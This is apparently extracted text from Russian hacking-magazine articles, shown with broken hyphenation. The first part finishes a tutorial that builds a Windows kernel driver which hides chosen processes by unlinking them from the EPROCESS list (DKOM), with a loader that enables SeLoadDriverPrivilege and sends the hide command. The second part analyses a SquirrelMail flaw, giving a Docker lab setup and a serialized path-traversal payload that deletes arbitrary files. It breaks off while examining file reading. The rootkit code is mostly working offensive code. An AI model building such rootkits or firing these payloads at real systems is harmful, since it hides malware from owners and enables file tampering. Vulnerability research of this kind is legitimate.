ULONG OutBufLen = IrpStack‐>Parameters.DeviceIoControl.Output
BufferLength;
// Получаем код управляющей процедуры
ULONG CtrlCode = IrpStack‐>Parameters.DeviceIoControl.IoControlCode;
NTSTATUS status = STATUS_SUCCESS;
swich(CtrlCode)
{
case IRP_MY_FUNC:
   // Здесь код, который будет вызываться управляющей процедурой 
IRP_MY_FUNC
break;
default:
   status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
return status;

Соз дание устрой ства драй вера
Что бы вза имо дей ство вать с драй вером, мы дол жны соз дать «объ ект‐устрой‐ 
ство драй вера». Для это го исполь зуем API‐фун кцию  . Кро ме
того,  мы  соз дадим  сим воличес кие  ссыл ки  на  наш  драй вер,  что бы  он  был
виден в дис петче ре вво да‐вывода в дирек тории  . Если это го не сде‐ 
лать,  то  обра тить ся  к  объ екту‐устрой ству  драй вера  мож но  будет  толь ко
из самого драй вера, но не из внеш него при ложе ния. Вот  код,  который соз‐ 
дает объ ект‐устрой ство драй вера и сим воличес кие ссыл ки на него.

IoCreateDevice

\Device

#define NT_DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV_NAME L"\\DosDevices\\drv_dkom"
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_OBJECT pDvcObj = NULL;
UNICODE_STRING usDrvName, usDosDvcName;
RtlInitUnicodeString(&usDrvName, NT_DEV_NAME);
RtlInitUnicodeString(&usDosDvcName,DOS_DEV_NAME);
status = IoCreateDevice (pDriverObject, 0,
                        &UsDrvName,
                        FILE_DEVICE_UNKNOWN,
                        FILE_DEVICE_SECURE_OPEN,
                        FALSE, &pDvcObj);
if (!NT_SUCCESS(status)) {
   return status;
}
status = IoCreateSymbolicLink(&usDosDvcName, &usDrvName);
if (!NT_SUCCESS(status)) {
   IoDeleteDevice(pDvcObj);
   return status;
}

Итак,  мы  рас смот рели  основные  струк турные  еди ницы  драй вера  режима
ядра,  уви дели,  как  драй вер  обща ется  с  режимом  usermode  и  как  зас тавить
его выпол нять опре делен ные коман ды. Теперь напишем сам драй вер режима
ядра.

СКРЫТИЕ ПРОЦЕССОВ МЕТОДОМ DKOM (DIRECT KERNEL OBJECT
MANIPULATION)
Нас тало  вре мя  при менить  получен ные  зна ния  о  драй верах  режима  ядра
на прак тике для зак репле ния резуль тата. Сей час мы напишем драй вер KMDF
для  скры тия  про цес сов  методом  пря мой  манипу ляции  объ екта ми  ядра
(DKOM). Как имен но мы будем скры вать наши про цес сы? Информа ция о про‐ 
цес сах  хра нит ся  в  струк туре  ядра  под  наз вани ем EPROCESS,  так  что  обра‐ 
тим ся к ней.

INFO

Струк тура  EPROCESS,  блок  про цес са.  В  ней
содер жится мно го информа ции о про цес се,  ука‐ 
зате ли  на  нес коль ко  струк тур  дан ных,  нап ример
PEB,  струк туру  KPROCESS,  струк туры  KTHREAD
и ETHREAD. Эта струк тура запол няет ся исполни‐ 
тель ной  сис темой  ОС,  находит ся  в  сис темном
адресном  прос транс тве  (kernelmode),  как  и  все
свя зан ные  струк туры,  кро ме  PEB.  Все  про цес сы
име ют эту струк туру.

Что бы  уви деть  EPROCESS  самос тоятель но,  дос таточ но  под клю чить ся  ядер‐ 
ным отладчи ком WinDbg  к  ядру ОС и  ввес ти  коман ду  .  Пос ле
это го ты уви дишь что‐то вро де это го (сме щения отли чают ся в раз ных вер сиях
ядер Windows):

dt  _EPROCESS

lkd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb              : _KPROCESS
+0x2d8 ProcessLock      : _EX_PUSH_LOCK
+0x2e0 RundownProtect   : _EX_RUNDOWN_REF
+0x2e8 UniqueProcessId  : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
+0x300 Flags2           : Uint4B
+0x300 JobNotReallyActive : Pos 0, 1 Bit
+0x300 AccountingFolded : Pos 1, 1 Bit
+0x300 NewProcessReported : Pos 2, 1 Bit
+0x300 ExitProcessReported : Pos 3, 1 Bit
+0x300 ReportCommitChanges : Pos 4, 1 Bit
+0x300 LastReportMemory : Pos 5, 1 Bit
+0x300 ForceWakeCharge  : Pos 6, 1 Bit
+0x300 CrossSessionCreate : Pos 7, 1 Bit
+0x300 NeedsHandleRundown : Pos 8, 1 Bit
+0x300 RefTraceEnabled  : Pos 9, 1 Bit
+0x300 DisableDynamicCode : Pos 10, 1 Bit
+0x300 EmptyJobEvaluated : Pos 11, 1 Bit
...

Ра зуме ется,  это не  вся  струк тура,  она нес коль ко боль ше. Отладчик показы‐ 
вает сме щения полей отно ситель но начала струк туры EPROCESS. В ней нас
инте ресу ют нес коль ко полей.   — ука затель на струк туру

, которая, в свою оче редь, ука зыва ет на про цес сы пос ле нашего
( ) и перед ( ). Что бы было понят нее, вот про тотип  :

ActiveProcessLinks
_LIST_ENTRY
FLink BLink _LIST_ENTRY

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *FLink;
   struct _LIST_ENTRY *BLink;
} LIST_ENTRY, *PLIST_ENTRY;

Раз меры, типы дан ных и сме щения от начала спис ка:

lkd> dt _LIST_ENTRY
nt!_LIST_ENTRY
+0x000 Flink            : Ptr64 _LIST_ENTRY
+0x008 Blink            : Ptr64 _LIST_ENTRY

Как ты мог догадать ся, наша задача — уда лить про цесс из это го спис ка, что‐ 
бы сде лать его невиди мым. А если точ нее, под пра вить записи   и 
таким  обра зом,  что бы  они  «про пус кали»  нуж ный  про цесс.  Для  это го  про‐ 
верим каж дый про цесс в этом спис ке на нуж ный нам PID и, если най дем его,
вызовем фун кцию замены полей   и  . PID мы так же можем получить
из  струк туры  EPROCESS,  нуж ное  поле  называ ется  .
Для  получе ния  бло ка  EPROCESS  вос поль зуем ся  фун кци ей 

, которая вер нет ука затель на него.

BLink FLink

BLink FLink
UniqueProcessID

PsGetCurrent‐
Process

// Объявим нужные смещения, актуальны для Windows 10 x64
#define UniqueProcessId 0x2e8
#define ActiveProcessLinks 0x2f0
#define ImageFileName 0x450
#define IRP_HIDE_PROC 0x801
#define NT_DEV_NAME L"\\Device\\drv_dkom"
#define DOS_DEV_NAME L"\\DosDevices\\drv_dkom"
NTSTATUS DriverEntry (PDRIVER_OBJECT  pDriverObject, PUNICODE_STRING 
pRegPath)
{
   // Создадим устройство драйвера и настроим символические ссылки
   NTSTATUS status = STATUS_SUCCESS;
   PDEVICE_OBJECT pDvcObj = NULL;
   UNICODE_STRING usDrvName, usDosDvcName;
   RtlInitUnicodeString(&usDrvName, NT_DEV_NAME);
   RtlInitUnicodeString(&usDosDvcName, DOS_DEV_NAME);
   status = IoCreateDevice(pDriverObject, 0,
                           &usDrvName,
                           FILE_DEVICE_UNKNOWN,
                           FILE_DEVICE_SECURE_OPEN,
                           FALSE, &pDvcObj);
   if (!NT_SUCCESS(status)) {
       return status;
   }
   status = IoCreateSymbolicLink(&usDosDvcName, &usDrvName);
   if (!NT_SUCCESS(status)) {
       IoDeleteDevice(pDvcObj);
       return status;
   }
   // Настроим IRP на функцию‐заглушку, нашу основную рабочую 
функцию и функцию выгрузки драйвера
   // Заполним все коды IRP ссылкой на функцию‐заглушку
   int x;
   for (x = 0; x < IRP_MJ_MAXIMUM_FUNCTION; ++x)
       pDriverObject‐>MajorFunction[x] = MyCallbackFunk;
   pDriverObject‐>MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyCont
rolHide;  // Настроили вызов функции MyCallbackControl на запрос 
IRP_MJ_DEVICE_CONTROL
   pDriverObject‐>DriverUnload = DrvUnload;
   return status;
}
VOID DrvUnload(PDRIVER_OBJECT  pDriverObject) {
   // Выгрузка: удаляем символические ссылки и устройство
   IoDeleteSymbolicLink(&usDosDvcName);
   IoDeleteDevice(pDriverObject‐>DeviceObject);
}
NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
   pIrp‐>IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(pIrp, IO_NO_INCREMENT);
   return pIrp‐>IoStatus.Status;
}
NTSTATUS MyControlHide(PDEVICE_OBJECT pdevObj, PIRP pIrp)
{
   // Получаем указатель на стек IRP пакета
   PIO_STACK_LOCATION pIrpSt = IoGetCurrentIrpStackLocation(pIrp);
   // Получаем размер буфера ввода
   ULONG InBufLen = pIrpSt‐>Parameters.DeviceIoControl.InputB
ufferLength;
   // Получаем размер буфера вывода
   ULONG OutBufLen = pIrpSt‐>Parameters.DeviceIoControl.Output
BufferLength;
   // Получаем код управляющей процедуры
   ULONG CtrlCode = pIrpSt‐>Parameters.DeviceIoControl.IoControlCode
;
   NTSTATUS status = STATUS_SUCCESS;
   switch(CtrlCode){
   case IRP_HIDE_PROC:
       InBufLen = pIrp‐>AssociatedIrp.SystemBuffer;
       pIrp‐>IoStatus.Information = strlen(InBufLen);
       hide_proc(InBufLen);
   break;
   default:
       status = STATUS_INVALID_DEVICE_REQUEST;
   break;
   }
   return status;
}
VOID hide_proc(char *pc)
{
   // Модифицируем поля FLink и BLink
   PEPROCESS currentProc = (PEPROCESS)PsGetCurrentProcess();
   PEPROCESS startProc = (PEPROCESS)PsGetCurrentProcess();
   PLIST_ENTRY activeProcLinks;
   PUCHAR pImageFileName;
   PUINT32 pPidProc;
   for (; ((DWORD64)startProc != (DWORD64)currentProc);)
   {
       pImageFileName = (PUCHAR)((DWORD64)currentProc + ImageF
ileName);
       pPidProc = (PUINT32)((DWORD64)currentProc + UniqueProcessId);
       activeProcLinks = (PLIST_ENTRY)((DWORD64)currentProc + Active
ProcessLinks);
       startProc = (PEPROCESS)((DWORD64)activeProcLinks‐>Flink ‐ 
ActiveProcessLinks);
       if (!strcmp((const char*)pImageFileName, TEXT(pc))) {
           *((PDWORD64)activeProcLinks‐>Blink) = (DWORD64)active
ProcLinks‐>Flink;
           *((PDWORD64)(activeProcLinks‐>Flink) + 1) = (DWORD64)
activeProcLinks‐>Blink;
           activeProcLinks‐>Blink = (PLIST_ENTRY)&activeProcLinks‐>
Flink;
           activeProcLinks‐>Flink = (PLIST_ENTRY)&activeProcLinks‐>
Flink;
       }
   }
}

Са мое инте рес ное про исхо дит в фун кции  ,  точ нее в ее цик ле: мы
обхо дим  двус вязный  спи сок  и  модифи циру ем  поля    и  .  С  это го
момен та целевой про цесс будет скрыт. Теперь перей дем к не менее важ ному
воп росу  —  соз данию  управля ющей  прог раммы  для  нашего  драй вера.  Она
дол жна заг ружать драй вер и отправ лять ему коман ды.

hide_proc
FLink BLink

Заг рузчик драй веров
Заг рузить драй вер в ядро мож но нес коль кими спо соба ми, самые популяр ные
из  них  —  это  заг рузка  при  помощи  SCM  (Service  Control  Manager)  и  при
помощи  NTAPI‐фун кции  .  Мы  выберем  пер вый  вари ант,
как  рекомен дован ный  Microsoft  и  избавля ющий  нас  от  мно гих  излишних
манипу ляций: основную работу за нас сде лает имен но Service Control Manag‐
er. Но для начала зададим нуж ные при виле гии:

NtLoadDriver

BOOL setPrivileges(LPCTSTR szPrivName)
{
   TOKEN_PRIVILEGES tp = { 0 };
   HANDLE hToken = 0;
   tp.PrivilegeCount = 1;
   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PR
IVILEGES, &hToken))
       std::cout << "OpenProcessToken failed\n";
   if (!LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].
Luid))
       std::cout << "LookupPrivilegeValue failed\n";
   if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, 
NULL))
   {
       std::cout << "AdjustTokenPrivileges failed\n";
       CloseHandle(hToken);
       return TRUE;
   }
   return FALSE;
}

Вы зов фун кции:

setPrivileges("SeLoadDriverPrivilege");

Пос ле  это го  регис три руем  драй вер  в  сис теме  (про вер ки  на  успешность
вызовов умыш ленно опус каю для луч шей чита емос ти кода):

// Путь к нашему драйверу
#define DRV "c:\\\\Windows\\System32\\drivers\\dkomdrv.sys"
// Имя сервиса
#define SRV "dkomdrv"
// Имя устройства
#define DVC "\\\\.\\dkomdrv"
// Код, говорящий драйверу скрыть процесс
#define IRP_HIDE_PROC 0x801
SC_HANDLE hSCMgr,hSrv;
HANDLE hDvc;
// Открываем SCM
hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
// Создаем сервис
hSrv = CreateService(
   hSCManager,
   TEXT(SRV),
   TEXT(SRV),
   SC_MANAGER_ALL_ACCESS,
   SERVICE_KERNEL_DRIVER,
   SERVICE_DEMAND_START,
   SERVICE_ERROR_IGNORE,
   TEXT(DRV),
   NULL, NULL, NULL, NULL, NULL
);
// Запускаем сервис
StartService(hSrv, 0, NULL);

Итак, драй вер уста нов лен и запущен. Теперь самое важ ное: мы дол жны пос‐ 
лать  драй веру  управля ющий  код,  который  зас тавит  его  скрыть  нуж ный  нам
про цесс (он зада ется перемен ной pid):

hDvc = CreateFile(
   TEXT(DEVICE),
   GENERIC_READ | GENERIC_WRITE,
   0,
   NULL,
   OPEN_EXISTING,
   FILE_ATTRIBUTE_NORMAL,
   NULL
);
BOOLEAN total = DeviceIoControl(
   hDevice,
   IRP_HIDE_PROC,  // Наш управляющий код
   pid,
   strlen(pid) + 1,
   retbuf,
   200,
   &bytes_returned,
   (LPOVERLAPPED) NULL
);

Пос ле это го нуж но зак рыть все откры тые хен длы, плюс мож но добавить про‐ 
вер ки  успешнос ти  вызовов  фун кций,  но  я  решил  это  все  убрать,  что бы  ты
видел чет кую пос ледова тель ность дей ствий для заг рузки и управле ния драй‐ 
вером,  не отвле каясь ни на  что. Пос ле  выпол нения  это го  кода нуж ный про‐ 
цесс исчезнет из дис петче ра задач и из боль шинс тва при ложе ний,  которые
работа ют с про цес сами.

ИТОГИ
Мы озна коми лись с основны ми поняти ями, которые нуж но знать о драй верах
режима  ядра,  и  соз дали  собс твен ный  драй вер,  скры вающий  про цес сы
методом DKOM. Разуме ется, это толь ко самое начало пути в изу чении драй‐ 
веров, но в одной статье умес тить все невоз можно — по этой теме пишут ся
целые  кни ги.  Но  что бы  начать  собс твен ные  экспе римен ты,  это го  хва тит.
Как видишь, писать свои драй веры не так слож но, как мог ло показать ся!

mailto:xtahi0nix@gmail.com
https://docs.microsoft.com/en-us/sysinternals/downloads/debugview
https://www.nirsoft.net/utils/driverview.html
http://www.website.masmforum.com/tutorials/kmdtute/index.html
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ВЗЛОМ

В  поч товом  сер вере  SquirrelMail  най дена  оче ред ная  уяз‐ 
вимость, и, хоть баг доволь но прост, импакт от него край не
неп рият ный:  любой поль зователь может  читать  или  уда лять
про изволь ные фай лы в сис теме. Но досад нее все го для вла‐ 
дель цев SquirrelMail, что про шел год с момен та наход ки уяз‐ 
вимос ти, а раз работ чики так ее и не запат чили. Давай пос‐ 
мотрим, отку да она берет ся и как ее экс плу ати ровать.

Поч ти  год назад я   о дру гой уяз вимос ти SquirrelMail — тог да речь шла
об RCE, а проб лема была в некор рек тной филь тра ции парамет ров, которые
отправ ляют ся  бинар нику  .  Через  месяц  пос ле  это го,
в  мае  2017  года,  иссле дова тель  из  TROOPERS18    (Florian
Grunow)  обна ружил  еще  одну  кри тичес кую  уяз вимость  в  этом  же  про дук те.
На  сей  раз  проб лема  зак ралась  в  фун кцию  прик репле ния  фай лов  к  сооб‐ 
щению,  а  успешная  экс плу ата ция  поз воля ет  ата кующе му  читать  фай лы
на целевой сис теме.

пи сал

sendmail
Фло риан  Гру ноу

Гру ноу  целый  год  не  пуб ликовал  информа цию  о  най ден ной  уяз вимос ти,
ожи дая, пока ее зак роют. Одна ко раз работ чики за все это вре мя не удо сужи‐ 
лись  ему  отве тить.  Тер пение  у  иссле дова теля  кон чилось,  и  он 

.
вы ложил

информа цию в пуб личный дос туп

КАК ТЕСТИРОВАТЬ УЯЗВИМОСТЬ
Пер во‐напер во  под нимем  стенд.  Поч товые  сер висы  —  это  такой  тип  при‐ 
ложе ний, раз верты вание которых дает тебе как минимум +3 к навыкам адми‐ 
нис три рова ния.  Тут  мно го  под водных  кам ней,  и  без  пог ружения  в  кон фиги
не  обой тись.  Хорошо  хоть  ста рый  доб рый  Docker  может  выручить.  Если
не  хочешь  возить ся  с  нас трой кой,  то  качай  готовый  кон тей нер  из 

 и перехо ди к сле дующе му абза цу.
мо его

репози тория
За пус каем докер и уста нав лива ем необ ходимый набор сер висов.

docker run ‐ti ‐p80:80 ‐‐rm ‐‐name=squirrel ‐‐hostname=squirrel 
debian /bin/bash
apt‐get update && apt‐get install ‐y sendmail wget nano apache2 
dovecot‐core dovecot‐imapd php

Ска чива ем  один  из  пос ледних  дис три бути вов  SquirrelMail.  Ссыл ка  лег ко
может  быть  недей стви тель ной,  так  как  раз работ чики  пос тоян но  обновля ют
сбор ки, уда ляя при этом ста рые архи вы.

install ‐d /usr/local/src/downloads
cd /usr/local/src/downloads
wget http://prdownloads.sourceforge.net/squirrelmail/squirr
elmail‐webmail‐1.4.22.tar.gz
mkdir /usr/local/squirrelmail
cd /usr/local/squirrelmail
mkdir data temp attach
chown www‐data:www‐data data temp attach
tar xvzf /usr/local/src/downloads/squirrelmail‐webmail‐1.4.22.tar.gz
mv squirrelmail‐webmail‐1.4.22 www

Те перь  нуж но  соз дать  кон фигура цион ный файл  для Squirrel.  Для  этих  целей
сущес тву ет кон фигура тор.

www/configure

Или  по  ста рин ке  можешь  вруч ную  отре дак тировать  дефол тный  кон фигура‐ 
цион ный файл  .www/config/config_default.php

Для нас  глав ное,  что  в  нем нуж но  ука зать, — это пути,  по  которым будут
рас полагать ся  вре мен ные  фай лы,  в  том  чис ле  прик репля емые  к  пись мам.
По умол чанию пути такие:
1. Data Directory:  ./var/local/squirrelmail/data/

2. Attachment Directory:  ./var/local/squirrelmail/attach/

Ме няем их в соот ветс твии с реаль ным положе нием вещей.

sed "s/domain = 'example.com'/domain = 'visualhack'/; s#/var/local/
squirrelmail/#/usr/local/squirrelmail/#g" /usr/local/squirrelmail/
www/config/config_default.php > /usr/local/squirrelmail/www/config/
config.php

Приб лижа емся  к  финиш ной  пря мой  —  нас трой ке  поч товых  сер висов.  Ука‐ 
зыва ем, какие про токо лы будем исполь зовать.

echo "protocols = imap" > /etc/dovecot/dovecot.conf

Раз реша ем авто риза цию по фай лу паролей.

echo \!include auth‐passwdfile.conf.ext > /etc/dovecot/conf.d/
10‐auth.conf

Те перь  добавим  юзе ра  в  dovecot,  так  как  для  успешной  экс плу ата ции  уяз‐ 
вимос ти нуж но быть авто ризо ван ным в сис теме.

useradd ‐G mail attacker
install ‐d ‐g attacker ‐o attacker /home/attacker
cat /etc/passwd|grep attacker|sed 's/x/{PLAIN}passw/; s/.$//' > /etc/
dovecot/users

Не забыва ем про писать в кон фиге Apache али ас для дос тупа к дис три бути ву
SquirrelMail и дос туп на чте ние пап ки, в которой он находит ся.

cat >>/etc/apache2/apache2.conf <<EOL
Alias /squirrelmail /usr/local/squirrelmail/www
<Directory /usr/local/squirrelmail>
   Options Indexes FollowSymLinks
   AllowOverride None
   Require all granted
</Directory>
EOL

Вот  вро де  бы  и  все  при готов ления.  Теперь  запус каем  тре буемые  сер висы
и перехо дим непос редс твен но к изу чению уяз вимос ти.

service dovecot start && service apache2 start && service sendmail 
start

Фор ма авто риза ции SquirrelMail

Продолжение статьи →

https://twitter.com/iamsecurity
https://xakep.ru/2017/06/05/exploits-squirrelmail-rce-219/
https://twitter.com/0x79
https://insinuator.net/2018/03/squirrelmail-full-disclosure-troopers18/
https://github.com/allyshka/visualhack/tree/master/228/squirrelmail/docker
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ДЕТАЛИ
Проб лема кро ется в фун кции соз дания нового пись ма, так что с это го и нач‐ 
нем. Авто ризу емся и откро ем скрипт  .compose.php

Стра ница соз дания нового пись ма в SquirrelMail

При ложе ние  SquirrelMail  написа но  на  PHP,  поэто му  никаких  проб лем  с  чте‐ 
нием исходни ков не воз ника ет. За вывод всей фор мы отве чает метод 

.
show‐

InputForm

/src/compose.php
647:     if ($compose_new_win == '1') {
648:         compose_Header($color, $mailbox);
649:     } else {
650:         displayPageHeader($color, $mailbox);
651:     }
...
695:     showInputForm($session, $values);

Под окош ком для тек ста пись ма мы видим мес то для прик репле ния фай лов.
Давай воору жим ся сниф фером, при атта чим что‐нибудь и гля нем на этот про‐ 
цесс поб лиже.

Зап рос на прик репле ние фай ла к пись му

При нажатии  кноп ки    ухо дит POST‐зап рос  на  все  тот же  скрипт 
.  В  фор ме  переда ется  параметр  ,  и  отра баты вает  сле‐ 

дующий кусок кода:

Attach com‐
pose.php attach

/src/compose.php
92: sqgetGlobalVar('attach',$attach, SQ_POST);
...
582: } elseif (isset($attach)) {
...
588:     if (saveAttachedFiles($session)) {
589:         plain_error_message(_("Could not move/copy file. File 
not attached"), $color);
590:     }
591:     if ($compose_new_win == '1') {
592:         compose_Header($color, $mailbox);
593:     } else {
594:         displayPageHeader($color, $mailbox);
595:     }
596:     showInputForm($session);
597: }

Как  видишь,  в  стро ке  588  вызыва ется  фун кция  ,  она
выпол няет обра бот ку фай ла и сох ранение его во вре мен ной дирек тории. Эта
дирек тория  зада ется  нас трой кой    в  кон фигура цион ном
фай ле Squirrel  .

saveAttachedFiles

$attachment_dir
config.php

/src/compose.php
1562: function saveAttachedFiles($session) {
1563:     global $_FILES, $attachment_dir, $username,
1564:         $data_dir, $composeMessage;
...
1567:     if (! is_uploaded_file($_FILES['attachfile']['tmp_name']) )
{

1568:         return true;
1569:     }
1570:
1571:     $hashed_attachment_dir = getHashedDir($username, $attach
ment_dir);

Наз вание  фай ла  генери рует ся  самопис ной  фун кци ей
,  которая  соз дает  стро ку  задан ной  дли ны  из  ран‐ 

домных бук венно‐циф ровых сим волов.
GenerateRandomString

/src/compose.php
1572:     $localfilename = GenerateRandomString(32, '', 7);
1573:     $full_localfilename = "$hashed_attachment_dir/$localf
ilename";
1574:     while (file_exists($full_localfilename)) {
1575:         $localfilename = GenerateRandomString(32, '', 7);
1576:         $full_localfilename = "$hashed_attachment_dir/$localf
ilename";
1577:     }

/functions/strings.php
614: function GenerateRandomString($size, $chars, $flags = 0) {
615:     if ($flags & 0x1) {
616:         $chars .= 'abcdefghijklmnopqrstuvwxyz';
617:     }
618:     if ($flags & 0x2) {
619:         $chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
620:     }
621:     if ($flags & 0x4) {
622:         $chars .= '0123456789';
623:     }
...
629:     sq_mt_randomize(); /* Initialize the random number genera
tor */
630:
631:     $String = '';
632:     $j = strlen( $chars ) ‐ 1;
633:     while (strlen($String) < $size) {
634:         $String .= $chars{mt_rand(0, $j)};
635:     }
636:
637:     return $String;
638: }

За тем  вре мен ный  файл,  который  был  соз дан  интер пре тато ром  PHP,  пере‐ 
име новы вает ся и скла диру ется в дирек торию для хра нения атта чей.

/src/compose.php
1581:     if (!@rename($_FILES['attachfile']['tmp_name'], $full_l
ocalfilename)) {
1582:         if (!@move_uploaded_file($_FILES['attachfile']['
tmp_name'],$full_localfilename)) {
1583:             return true;
1584:         }
1585:     }

Соз данный вре мен ный файл для прик репле ния к пись му

В  завер шение  вызыва ется  метод    клас са  .  Он
собира ет все фай лы, что были прик репле ны к пись му, в одном мас сиве 

; эле мен ты это го мас сива так же экзем пля ры клас са  .

initAttachment Message
enti‐

ties Message

/src/compose.php
1586:     $type = strtolower($_FILES['attachfile']['type']);
1587:     $name = $_FILES['attachfile']['name'];
1588:     $composeMessage‐>initAttachment($type, $name, $localf
ilename);
1589: }

/class/mime/Message.class.php
1091:     function initAttachment($type, $name, $location) {
1092:         $attachment = new Message();
1093:         $mime_header = new MessageHeader();
1094:         $mime_header‐>setParameter('name', $name);
1095:         $pos = strpos($type, '/');
1096:         if ($pos > 0) {
1097:             $mime_header‐>type0 = substr($type, 0, $pos);
1098:             $mime_header‐>type1 = substr($type, $pos+1);
1099:         } else {
1100:             $mime_header‐>type0 = $type;
1101:         }
1102:         $attachment‐>att_local_name = $location;
1103:         $disposition = new Disposition('attachment');
1104:         $disposition‐>properties['filename'] = $name;
1105:         $mime_header‐>disposition = $disposition;
1106:         $attachment‐>mime_header = $mime_header;
1107:         $this‐>entities[]=$attachment;
1108:     }

От дель ного  вни мания  зас лужива ет  стро ка  1102,  где  пол ный  путь  до  фай ла
вмес те  с  име нем  сох раня ются  в  свой стве  .  Ког да  этот  код
отра баты вает,    содер жит  все  прик реплен ные
к пись му фай лы.

att_local_name
$composeMessage‐>entities

Пос ле это го выпол нение вновь переда ется фун кции  . Толь‐ 
ко  теперь  у  нас  име ются  прик реплен ные  фай лы,  и  в  дело  всту пают  сле‐ 
дующие учас тки кода:

showInputForm

/src/compose.php
1136: function showInputForm ($session, $values=false) {
...
1366:     // composeMessage can be empty when coming from a restored 
session
1367:     if (is_object($composeMessage) && $composeMessage‐>entities
)
1368:         $attach_array = $composeMessage‐>entities;
...
1463:     echo addHidden('composesession', $composesession).
1464:         addHidden('querystring', $queryString).
1465:         (!empty($attach_array) ?
1466:         addHidden('attachments', serialize($attach_array)) : ''
).
1467:         "</form>\n";

По мимо вывода спис ка сох ранен ных фай лов, в фор му добав ляет ся скры тое
поле  ,  которое  содер жит  все  метадан ные  этих  фай лов  в  виде
десери али зован ной  и  URL‐кодиро ван ной  перемен ной 

.

attachments
$composeMessage‐>

entities

Се риали зован ные дан ные с прик реплен ными к фай лу докумен тами

Дан ные из это го поля счи тают ся легитим ными, не про ходят никакой филь тра‐ 
ции и в даль нейшем исполь зуют ся при работе с соз дава емым сооб щени ем
(разуме ется, пред варитель но прой дя через фун кцию  ).unserialize

/src/compose.php
115: sqgetGlobalVar('attachments',           $attachments,           
SQ_POST);
...
371: if (!empty($attachments)) {
372:     $attachments = unserialize($attachments);
373:     if (!empty($attachments) && is_array($attachments))
374:         $composeMessage‐>entities = $attachments;
375: }

Продолжение статьи →
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УДАЛЕНИЕ ПРОИЗВОЛЬНЫХ ФАЙЛОВ
Са мое инте рес ное про исхо дит при даль нейшей обра бот ке этих дан ных. Нач‐ 
нем  с  воз можнос ти  уда ления  уже  прик реплен ных  атта чей.  Отме чаем  файл
и жмем Delete Selected Attachments, пред варитель но вклю чив перех ват  зап‐ 
росов.

Зап рос на уда ление прик реплен ного фай ла

От рабаты вает сле дующий учас ток кода, отве чающий за уда ление:

/src/compose.php
113: sqgetGlobalVar('do_delete',             $do_delete,             
SQ_POST);
...
613: } elseif (isset($do_delete)) {
...
625:     if (isset($delete) && is_array($delete)) {
626:         foreach($delete as $index) {
627:             if (!empty($composeMessage‐>entities) && isset($
composeMessage‐>entities[$index])) {
628:                 $composeMessage‐>entities[$index]‐>purgeA
ttachments();
631:                 unset ($composeMessage‐>entities[$index]);
632:             }

В нем вызыва ется метод  , который сти рает фай лы с дис ка
при помощи PHP‐фун кции unlink.

purgeAttachments

/class/mime/Message.class.php
1114:     function purgeAttachments() {
1115:         if ($this‐>att_local_name) {
1116:             global $username, $attachment_dir;
1117:             $hashed_attachment_dir = getHashedDir($username, $
attachment_dir);
1118:             if ( file_exists($hashed_attachment_dir . '/' . $
this‐>att_local_name) ) {
1119:                 unlink($hashed_attachment_dir . '/' . $this‐>
att_local_name);
1120:             }
1121:         }

А  вот  и  свой ство  ,  на  которое  нуж но  обра тить  вни мание.
Это  имя  уда ляемо го  фай ла.  Оно  попадет  пря миком  в  фун кцию  unlink.
По задум ке раз работ чиков это лишь наз вание, которое было авто мати чес ки
сге нери рова но во вре мя заг рузки атта ча. И все было бы хорошо, толь ко вот
дан ные  о  заг ружен ных фай лах  берут ся  из фор мы,  а  имен но —  из  сери али‐ 
зован ного поля  . Это озна чает, что мож но лег ко кон тро лиро вать
наз вание  уда ляемо го  фай ла,  прос то  меняя  его  в  зап росе.  В  моем  слу чае
это выг лядит так.

att_local_name

attachments

...s:14:"att_local_name";s:32:"76Nh2n1ufiHXcSlNYvKe6SbBfpcQC1hG";}}

Ду маю,  ты  уже  догадал ся,  что  тут  мож но  про вер нуть.  Налицо  стан дар тный
path  traversal: при помощи   мож но вый ти из дирек тории с атта чами, про‐ 
гулять ся по дис ку и уда лить что‐нибудь не пре дус мотрен ное логикой работы
скрип та. Если ты на память не пом нишь, как устро ен фор мат сери али зован‐ 
ных  дан ных  в  PHP,  то  под робную  информа цию  можешь  най ти  на  прос торах
интерне та или в   о внед рении объ ектов в PHP.

../

мо ей статье
Спе циаль но соз дам тес товый файл   в дирек тории  , так как уда‐ 

лять  мож но  толь ко  фай лы,  раз решен ные  на  запись  всем  поль зовате лям
или  соз данные  юзе ром,  от  которо го  работа ет  веб‐сер вер  (в  моем  слу чае
это  www‐data).  Теперь  изме няем  свой ство    и  отправ ляем
зап рос.

owned /tmp

att_local_name

...s:14:"att_local_name";s:24:"../../../../../tmp/owned";}}

Файл, конеч но же, уда лит ся.

Ус пешное уда ление про изволь ного фай ла через уяз вимость

ЧТЕНИЕ ПРОИЗВОЛЬНЫХ ФАЙЛОВ
Тут исто рия нем ного дру гая, нам нуж но заг лянуть в фун кцию отправ ки сооб‐ 
щения  .deliverMessage

/src/compose.php
1638: function deliverMessage(&$composeMessage, $draft=false) {
1639:     global $send_to, $send_to_cc, $send_to_bcc, $mailprio, $
subject, $body,
1640:         $username, $popuser, $usernamedata, $identity, $idents,
$data_dir,

1641:         $request_mdn, $request_dr, $default_charset, $color, $
useSendmail,
1642:         $domain, $action, $default_move_to_sent, $move_to_sent;
1643:     global $imapServerAddress, $imapPort, $imap_stream_options,
$sent_folder, $key;

...
1705:     /* multipart messages */
1706:     if (count($composeMessage‐>entities)) {

Во вре мя выпол нения про веря ется наличие атта чей. Затем начина ется дос‐ 
тавка  сооб щения.  В  зависи мос ти  от  уста нов ленных  нас тро ек  в  кон фиге
выпол нение прог раммы может пры гать на раз ные вет ки, но в ито ге все при‐ 
дет к выпол нению метода   из клас са  .mail Deliver

/src/compose.php
1826:     if ($stream) {
